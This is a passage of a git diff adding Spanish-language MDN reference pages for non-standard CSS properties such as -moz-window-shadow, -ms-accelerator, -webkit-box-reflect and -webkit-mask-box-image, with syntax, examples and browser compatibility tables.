+ <dd>El usuario puede leer y escribir contenidos.</dd>
+ <dt>write-only</dt>
+ <dd>El usuario puede editar el contenido pero no leerlo.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush:css">.readwrite {
+  -moz-user-modify: read-write;
+  -webkit-user-modify: read-write;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush:html">&lt;div class="readwrite"&gt;El usuario puede cambiar este texto.&lt;/div&gt;
+</pre>
+
+<h3 id="Result">Result</h3>
+
+<p>{{EmbedLiveSample("Example", 300, 30)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p><code>user-modify</code> en <a class="external" href="http://www.w3.org/TR/2000/WD-css3-userint-20000216#user-modify" lang="en">una versión inicial de la especificación CSS 3 UI</a> (Borrador de trabajo Febrero del 2000, Working Draft February 2000 que ya ha sido reeemplazado por <em>CSS 3 UI</em>)</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoDesktop("1.0")}} {{property_prefix("-moz")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>3.0 {{property_prefix("-webkit")}}<sup>[1]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] También soporta: <code>-webkit-user-modify: read-write-plaintext-only</code> (Se perderá el texto enriquecido).<br>
+ Esta propiedad se llamó  <code>-khtml-user-modify</code> en Safari 2.0.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("-moz-user-focus")}}</li>
+ <li>{{cssxref("-moz-user-input")}}</li>
+ <li>{{cssxref("-moz-user-select")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-window-shadow/index.html b/files/es/web/css/-moz-window-shadow/index.html
new file mode 100644
index 0000000000..fb2d15bdf0
--- /dev/null
+++ b/files/es/web/css/-moz-window-shadow/index.html
@@ -0,0 +1,52 @@
+---
+title: '-moz-window-shadow'
+slug: Web/CSS/-moz-window-shadow
+tags:
+  - CSS
+  - No estandar
+  - Propiedad CSS
+  - Referencia
+  - XUL
+translation_of: Archive/Web/CSS/-moz-window-shadow
+---
+<div>{{Non-standard_header}}{{CSSRef}}{{gecko_minversion_header("1.9.1")}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad  <a href="/es/docs/Web/CSS">CSS </a><code>-moz-window-shadow</code> especifica si una ventana tendrá sombra. Sólo funciona en Mac OS X.</p>
+
+<div class="note">
+<p>Esta propiedad no estándar y a partir de Firefox 44 no puede ser usada más en sitios Web.</p>
+</div>
+
+<p>{{cssinfo}}</p>
+
+<p>Firefox 3 añadió el soporte para ventanas transparentes en Mac OS X. Sin embargo, para este tipo de ventanas,  se quitaron las sombras y no había manera de habilitarlas.</p>
+
+<p>En Firefox 3.5 cambiamos el comportamiento por defecto; todas las ventanas tienen ahora sombra. Introducimos la propiedad CSS <code>-moz-window-shadow</code> para proporcionar una manera de quitar las sombras no deseadas.</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>default</dt>
+ <dd>La ventana tendrá sombra con el estilo por defecto de la ventana.</dd>
+ <dt>menu {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>La ventana tendrá el estilo de sombra que es apropiado para los menús.</dd>
+ <dt>tooltip {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>La ventana tendrá el estilo de sombra que es apropiado para las herramientas.</dd>
+ <dt>sheet {{gecko_minversion_inline("2.0")}}</dt>
+ <dd>La ventana tendrá el estilo de sombra que es apropiado para las ventanas de datos</dd>
+ <dt>none</dt>
+ <dd>La ventana no tendrá sombra.</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush:css">.KUI-panel {
+  -moz-window-shadow: none;
+}
+</pre>
diff --git a/files/es/web/css/-ms-accelerator/index.html b/files/es/web/css/-ms-accelerator/index.html
new file mode 100644
index 0000000000..33f1a38f9e
--- /dev/null
+++ b/files/es/web/css/-ms-accelerator/index.html
@@ -0,0 +1,75 @@
+---
+title: '-ms-accelerator'
+slug: Web/CSS/-ms-accelerator
+tags:
+  - CSS
+  - Non-standard
+  - Propiedad CSS
+  - Referencia
+translation_of: Archive/Web/CSS/-ms-accelerator
+---
+<div>{{CSSRef}}</div>
+
+<div>{{non-standard_header}}</div>
+
+<p>La propiedad CSS <strong><code>-ms-accelerator</code></strong> es una  <a href="/en-US/docs/Web/CSS/Microsoft_CSS_extensions">esxtensión Microsoft</a> que establece o recupera una cadena que indica si el objeto representa un método abreviado de teclado.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="brush: css">/* El objeto no es un atajo de teclado (por defecto) */
+-ms-accelerator: false
+/* El objeto es un atajo de teclado */
+-ms-accelerator: true
+</pre>
+
+<h3 id="Values">Values</h3>
+
+<dl>
+ <dt><code>false</code></dt>
+ <dd>
+ <p>El objeto no es un atajo de teclado</p>
+ </dd>
+ <dt><code>true</code></dt>
+ <dd>
+ <p>El objeto es un atajo de teclado</p>
+ </dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<p>Este ejemplo usa el atributo <code>-ms-accelerator</code> en un  elemento {{HTMLElement("u")}} para especificar que la "N" en el elemento {{HTMLElement("label")}} es un atajo de teclado. Cuando la opción de "Ocultar los indicadores de navegación del teclado hasta que use la tecla Alt" está habilitada en las propiedades de pantalla del usuario la "N" no estará subrayada hasta que el usuario presione la tecla <kbd>Alt</kbd> . Cuando <kbd>Alt</kbd> + <kbd>N</kbd> son presionadas,el elemento {{HTMLElement("input")}} que define un atributo {{htmlattrxref("accessKey","input")}} valor de atributo de "N" recibe el foco.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Acelerador&lt;/title&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;label for="oName"&gt;&lt;u style="-ms-accelerator: true; accelerator: true"&gt;N&lt;/u&gt;ame: &lt;/label&gt;
+    &lt;input type="text"
+      id="oName"
+      size="25"
+      accesskey="N"
+      value="Your name here" /&gt;
+  &lt;/body&gt;
+&lt;/html&gt;<strong>
+</strong></pre>
+
+<h2 id="Specifications" name="Specifications">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Remarks" name="Remarks">Observaciones</h2>
+
+<p>Esta propiedad está soportada por Windows 2000 y versiones posteriores. permite a los usuarios ocultar los indicadores de navegación para los elementos del menú y los controles hasta que se presiona la tecla  <kbd>Alt</kbd></p>
+
+<p>Una clave de acceso es un solo carácter que se utiliza como método abreviado de teclado para seleccionar un objeto. El usuario presiona la tecla <kbd>Alt</kbd> y la mantiene presionada mientras presiona el carácter para mover el enfoque de entrada al objeto e invocar el evento predeterminado asociado con el objeto.</p>
+
+<p>En Internet Explorer 8 (IE8) el atributo <code>-ms-accelerator</code> es una extensión de CSS, y se puede usar como un sinónimo para <code>accelerator</code><strong> </strong>en el modo estándar de IE8.</p>
diff --git a/files/es/web/css/-ms-overflow-style/index.html b/files/es/web/css/-ms-overflow-style/index.html
new file mode 100644
index 0000000000..8e2295067a
--- /dev/null
+++ b/files/es/web/css/-ms-overflow-style/index.html
@@ -0,0 +1,40 @@
+---
+title: '-ms-overflow-style'
+slug: Web/CSS/-ms-overflow-style
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad
+  - Propiedad CSS
+  - Referencia
+  - Referencia CSS
+translation_of: Archive/Web/CSS/-ms-overflow-style
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><strong><code>-ms-overflow-style</code></strong> es una propiedad CSS propietaria, específica de  Internet Explorer y Microsoft Edge, que controla el compartamiento de la barra de desplazamiento (scroll) cuando el contenido de un elemento se desborda.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Valor inicial. Lo mismo que  <code>inherit</code>.</dd>
+ <dt><code>none</code></dt>
+ <dd>La barras de desplazamiento (Scrollbars) no son nuncas mostradas, aunque se puede hacer el scroll sobre el elemento si el contenido lo desoborda.</dd>
+ <dt><code>scrollbar</code></dt>
+ <dd>Las  barras de desplazamiento(sroll) "Tradicionales" se muestran si el contenido desborda el elemento. Estas barras no se auto ocultan ni se solapan con el contenido del elemento. Por consiguente, las dimensiones del aréa de contenido son reducidas en una cantidad igual al tamaño de las barras de desplazamiento.</dd>
+ <dt><code>-ms-autohiding-scrollbar</code></dt>
+ <dd>Se muestran barras de desplazamiento que se auto ocultan si el contenido desborda el elemento. Estas barras se muestran mientras se hace el desplzamiento o scroll y brevemente después de realizar el desplazamiento y cuando la interacción ha terminado se ocultan. Mientras estén visibles se supeponen al contenido del elemento..</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificciones">Especificciones</h2>
+
+<p>No es parte de ninguna especificación. Microsoft tiene una <a href="https://msdn.microsoft.com/es/library/windows/apps/hh441298.aspx">descripción suya en MSDN.</a></p>
diff --git a/files/es/web/css/-webkit-border-before/index.html b/files/es/web/css/-webkit-border-before/index.html
new file mode 100644
index 0000000000..444337ac10
--- /dev/null
+++ b/files/es/web/css/-webkit-border-before/index.html
@@ -0,0 +1,137 @@
+---
+title: '-webkit-border-before'
+slug: Web/CSS/-webkit-border-before
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Web/CSS/-webkit-border-before
+---
+<div>{{CSSRef}}{{Non-standard_header}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad <a href="/es/docs/Web/CSS">CSS </a><strong><code>-webkit-border-before</code></strong> es una propiedad que permite configurar los valores de la propiedad borde para el bloque lógico de inicio en un sólo sitio de la hoja de estilos. <code>-webkit-border-before</code> se puede usar para establecer los valores para más de uno de: {{cssxref("-webkit-border-before-width")}}, {{cssxref("-webkit-border-before-style")}}, y {{cssxref("-webkit-border-before-color")}}. Se mapea a un borde físico dependiendo del modo de escritura del elemento, la direccionalidad y la orientación del texto. Se corresonde con  la propiedad {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}}, o {{cssxref("border-left")}} dependiendo de los valores definidos en {{cssxref("writing-mode")}}, {{cssxref("direction")}}, y {{cssxref("text-orientation")}}.</p>
+
+<p>Se relaciona con {{cssxref("-webkit-border-after")}}, {{cssxref("-webkit-border-start")}}, y {{cssxref("-webkit-border-end")}}, que definen los otros bordes del elemento.</p>
+
+<p>Esta propiedad se prevee que será incluida en el estándar como  {{cssxref("border-block-start")}}.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valores para el borde */
+-webkit-border-before: 1px;
+-webkit-border-before: 2px dotted;
+-webkit-border-before: medium dashed blue;
+
+/* Valores globales */
+-webkit-border-before: inherit;
+-webkit-border-before: initial;
+-webkit-border-before: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Uno o más de los siguiente valores, dando igual el orden en el que se especifiquen:</p>
+
+<dl>
+ <dt><code>&lt;'border-width'&gt;</code></dt>
+ <dd>Ver {{cssxref("border-width")}}</dd>
+ <dt><code>&lt;'border-style'&gt;</code></dt>
+ <dd>Ver {{cssxref("border-style")}}</dd>
+ <dt><code>&lt;'color'&gt;</code></dt>
+ <dd>Ver {{cssxref("color")}}</dd>
+</dl>
+
+<h3 id="Formal_syntax">Formal syntax</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="Contenido_HTML">Contenido HTML</h3>
+
+<pre class="brush: html">&lt;div&gt;
+  &lt;p class="exampleText"&gt;Texto de ejemplo&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="Contenido_CSS">Contenido CSS</h3>
+
+<pre class="brush: css">div {
+  background-color: yellow;
+  width: 120px;
+  height: 120px;
+}
+
+.exampleText {
+  writing-mode: vertical-rl;
+  -webkit-border-before: 5px dashed blue;
+}</pre>
+
+<p>{{EmbedLiveSample("Example", 140, 140)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación aunque está relacionada con la propiedad {{cssxref("border-block-start")}}.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores.">Compatibilidad con los distintos navegadores.</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("border-block-start")}}</li>
+ <li>Las propiedad físicas mapeadas: {{cssxref("border-top")}}, {{cssxref("border-right")}}, {{cssxref("border-bottom")}},  y{{cssxref("border-left")}}</li>
+ <li>{{cssxref("writing-mode")}}, {{cssxref("direction")}}, {{cssxref("text-orientation")}}</li>
+</ul>
diff --git a/files/es/web/css/-webkit-box-reflect/index.html b/files/es/web/css/-webkit-box-reflect/index.html
new file mode 100644
index 0000000000..ca3fde311e
--- /dev/null
+++ b/files/es/web/css/-webkit-box-reflect/index.html
@@ -0,0 +1,116 @@
+---
+title: '-webkit-box-reflect'
+slug: Web/CSS/-webkit-box-reflect
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad
+  - Referencia
+translation_of: Web/CSS/-webkit-box-reflect
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p><code>La propiedad </code><a href="/es/docs/Web/CSS">CSS </a><code>-webkit-box-reflect</code> peermite reflejar el contenido del elemento en una dirección específica.</p>
+
+<div class="warning"><strong>Nota:</strong> Esta característica <strong>no está pensada para ser usada en páginas Web</strong> .Para conseguir reflexión en la Web, la forma estándar es usando la función CSS {{cssxref("element", "element()")}} .</div>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valores para la dirección */
+-webkit-box-reflect: above;
+-webkit-box-reflect: below;
+-webkit-box-reflect: left;
+-webkit-box-reflect: right;
+
+/* Valor del desplazamiento */
+-webkit-box-reflect: below 10px;
+
+/* Valor de máscara */
+-webkit-box-reflect: below 0 linear-gradient(transparent, white);
+
+/* Valores globales */
+-webkit-box-reflect: inherit;
+-webkit-box-reflect: initial;
+-webkit-box-reflect: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt><code>above</code><em>, </em><code>below</code><em>, </em><code>right</code><em>, </em><code>left</code></dt>
+ <dd>Son palabras clave que indican en qué dirección se realiza la reflexión.</dd>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Indica el tamaño de la reflexión.</dd>
+ <dt><code>&lt;image&gt;</code></dt>
+ <dd>Describe la máscara que se aplicará a la reflexión.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no está entre los objetivos de la especificación estándar y no será parte de CSS. La manera estándar para conseguir reflexión en CSS es el uso de la función {{cssxref("element", "element()")}}.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome("4.0")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera("15.0")}}</td>
+   <td>{{CompatSafari("4.0")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatAndroid("2.1")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>22.0 {{CompatVersionUnknown}}</td>
+   <td>3.2 {{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>La <a class="external" href="http://developer.apple.com/library/safari/documentation/appleapplications/reference/safaricssref/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-SW16" title="http://developer.apple.com/library/safari/documentation/appleapplications/reference/safaricssref/Articles/StandardCSSProperties.html#//apple_ref/doc/uid/TP30001266-SW16">documentación</a> de Apple.</li>
+ <li>La <a href="https://www.webkit.org/blog/182/css-reflections/">especificación </a> de Webkit.</li>
+ <li>El artículo de Lea Verou sobre reflexión usando  <a class="external" href="http://lea.verou.me/2011/06/css-reflections-for-firefox-with-moz-element-and-svg-masks/" title="http://lea.verou.me/2011/06/css-reflections-for-firefox-with-moz-element-and-svg-masks/">característica CSS que están en el estándar</a>.</li>
+</ul>
diff --git a/files/es/web/css/-webkit-mask-attachment/index.html b/files/es/web/css/-webkit-mask-attachment/index.html
new file mode 100644
index 0000000000..50309f5376
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-attachment/index.html
@@ -0,0 +1,95 @@
+---
+title: '-webkit-mask-attachment'
+slug: Web/CSS/-webkit-mask-attachment
+tags:
+  - CSS
+  - Diseño
+  - Referencia
+  - Web
+translation_of: Web/CSS/-webkit-mask-attachment
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p id="Summary">Si se ha especificado una {{ Cssxref("-webkit-mask-image") }} , <code>-webkit-mask-attachment</code> determina si la posición de la imagen de la máscara es fija dentro de la ventana (viewport) , o se desplaza a lo largo del bloque que la contiene.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Valores">Valores</h2>
+
+<dl>
+ <dt>scroll</dt>
+ <dd>Si se ha especifiacod  <code>scroll</code> , la imagen de máscara se desplaza dentro de la ventana (viewport) junto con el bloque que contiene la máscara de imagen.</dd>
+ <dt>fixed</dt>
+ <dd>Si se ha especificado el valor <code>fixed</code> , la imagen de máscara no se desplaza junto con el elemento que la contienen, en vez de eso permanece es una posición fija dentro de la ventana (viewport).</dd>
+</dl>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: css">body {
+    -webkit-mask-image: url('images/mask.png');
+    -webkit-mask-attachment: fixed;
+}
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{ CompatNo() }} [1]</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Se ha dejado de dar soporte desde Chrome 24.</p>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-clip") }},  {{ cssxref("-webkit-mask-box-image") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-image") }},{{ cssxref("-webkit-mask-composite") }},{{ cssxref("-webkit-mask-repeat") }}</p>
diff --git a/files/es/web/css/-webkit-mask-box-image/index.html b/files/es/web/css/-webkit-mask-box-image/index.html
new file mode 100644
index 0000000000..6ba9930377
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-box-image/index.html
@@ -0,0 +1,130 @@
+---
+title: '-webkit-mask-box-image'
+slug: Web/CSS/-webkit-mask-box-image
+tags:
+  - CSS
+  - Diseño
+  - Referencia
+  - Web
+translation_of: Web/CSS/-webkit-mask-box-image
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p><code>-webkit-mask-box-image</code> establece la imagen de máscara para la caja del borde de un elemento.</p>
+
+<ul>
+ <li>{{ Xref_cssinitial() }}: none</li>
+ <li>Se aplica a : Todos los elementos</li>
+ <li>{{ Xref_cssinherited() }}: no</li>
+ <li>Media: {{ Xref_cssvisual() }}</li>
+ <li>{{ Xref_csscomputed() }}: tal y como se especfica</li>
+</ul>
+
+<h2 id="Syntax" name="Syntax">Síntaxis</h2>
+
+<pre class="eval">-webkit-mask-box-image: &lt;mask-box-image&gt; [&lt;top&gt; &lt;right&gt; &lt;bottom&gt; &lt;left&gt; &lt;x-repeat&gt; &lt;y-repeat&gt;]
+</pre>
+
+<p>Where:</p>
+
+<dl>
+ <dt>&lt;mask-box-image&gt;</dt>
+ <dd><code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">{{cssxref("&lt;uri&gt;")}} | &lt;gradient&gt; | none</code></dd>
+ <dt>&lt;top&gt; &lt;right&gt; &lt;bottom&gt; &lt;left&gt;</dt>
+ <dd><code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">&lt;length&gt; | &lt;percentage&gt;</code></dd>
+ <dt>&lt;x-repeat&gt; &lt;y-repeat&gt;</dt>
+ <dd><code style="font: normal normal normal 100%/normal 'Courier New', 'Andale Mono', monospace; color: inherit; font-weight: inherit;">repeat | stretch | round</code></dd>
+</dl>
+
+<h3 id="Values" name="Values">Valores</h3>
+
+<dl>
+ <dt>&lt;uri&gt;</dt>
+ <dd>La localización del recurso imagen que será usada como imagen de máscara..</dd>
+ <dt style="font-style: normal; font-weight: bold;">&lt;gradient&gt;</dt>
+ <dd style="margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">La función <span style="font-family: courier new;">-webkit-gradient</span> que se usará como imagen de máscara.</dd>
+ <dt>none</dt>
+ <dd>Para especificar que la caja del borde no va a tener imagen de máscara.</dd>
+</dl>
+
+<dl>
+ <dt>&lt;length&gt;</dt>
+ <dd>El tamaño del desplazamiento de la imagen de máscara. Ver  {{cssxref("&lt;length&gt;")}} para posibles unidades.</dd>
+ <dt>&lt;percentage&gt;</dt>
+ <dd>El desplazamiento de la imagen de máscara tiene un valor que se corresponde con un porcentaje de la dimensiones (altura y anchura) del tamaño de la caja del borde.</dd>
+ <dt style="font-style: normal; font-weight: bold;">repeat</dt>
+ <dd>La imagen de máscara se repite tanta veces como sean necesarios para cubrir la caja.  Puede incluir una imagen parcial si no existe una división exacta con el tamaño de la caja.</dd>
+ <dt>stretch</dt>
+ <dd>La imagen de máscara se encoge para contener la caja del borde exactamente.</dd>
+ <dt>round</dt>
+ <dd> Se encoge y repite de tal manera que no existan partes de la imagen de máscara al final de la caja.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<pre class="brush: css">.exampleone {
+    -webkit-mask-box-image: url('mask.png');
+}
+
+.exampletwo {
+    -webkit-mask-box-image: url('logo.png') 100 100 0 0 round round;
+}
+</pre>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>1.0</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>2.1</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<p>{{ cssxref("-webkit-mask") }}, {{ cssxref("-webkit-mask-origin") }}, {{ cssxref("-webkit-mask-attachment") }},{{ cssxref("-webkit-mask-clip") }},{{ cssxref("-webkit-mask-image") }},{{ cssxref("-webkit-mask-composite") }},{{ cssxref("-webkit-mask-repeat") }}</p>
diff --git a/files/es/web/css/-webkit-mask-clip/index.html b/files/es/web/css/-webkit-mask-clip/index.html
new file mode 100644
index 0000000000..02a522733f
--- /dev/null
+++ b/files/es/web/css/-webkit-mask-clip/index.html
@@ -0,0 +1,101 @@
+---
+title: '-webkit-mask-clip'
+slug: Web/CSS/-webkit-mask-clip
+tags:
+  - CSS
+translation_of: Web/CSS/mask-clip
+---
+<p>{{ CSSRef() }}</p>
+
+<p>{{ Non-standard_header() }}</p>
+
+<p>Si se especificado {{ Cssxref("-webkit-mask-image") }} , <code style="font-size: 14px; font-style: normal; line-height: 1.5;">-webkit-mask-clip</code> determina el comportamiento de recorte (clipping) de la imagen de máscara.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<p>donde:</p>
+
+<dl>
+ <dt>&lt;clip-style&gt;</dt>
